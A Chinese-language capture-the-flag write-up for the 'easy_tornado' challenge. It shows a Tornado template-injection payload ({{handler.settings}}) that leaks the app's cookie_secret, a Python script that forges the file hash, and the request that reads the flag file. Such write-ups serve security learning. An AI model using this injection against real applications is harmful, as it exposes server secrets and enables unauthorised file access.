[护网杯 2018]easy_tornado
知识点
- Python模板注入(ssti)
过程
根据题目名称tornado,搜索一番,发现tornado是一个Python的模板
welcome.txt提示render,经过查询render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面。
主页:
三个文件中分别提示的内容为
- flag in /fllllllllllllag
- render
- md5(cookie_secret+md5(filename))
然后抓个包
不难发现,在file文件下,传入了两个get型的参数,filename和filehash,为了得到flag,filename肯定传入/fllllllllllllag,而filehash需要根据md5(cookie_secret+md5(filename))找出对应的cookie_secret,所以我们重点是放在**找cookie_secret
**上
修改请求行中的filename,发现提示
访问提示页面/error?msg=Error
存在模板注入,之后进行各种尝试与资料获取发现对于tornado框架存在附属文件handler.settings,于是尝试输入/error?msg={{handler.settings}}
发现 ‘cookie_secret’:
计算filehash值
import hashlib
hash = hashlib.md5()
filename='/fllllllllllllag'
cookie_secret="3799aef2-cdfe-4c5d-ae04-47b3723689a0"
hash.update(filename.encode('utf-8'))
s1=hash.hexdigest()
hash = hashlib.md5()
hash.update((cookie_secret+s1).encode('utf-8'))
print(hash.hexdigest())
url传入
/file?filename=/fllllllllllllag&filehash=7828f14055747177adf201166beddeda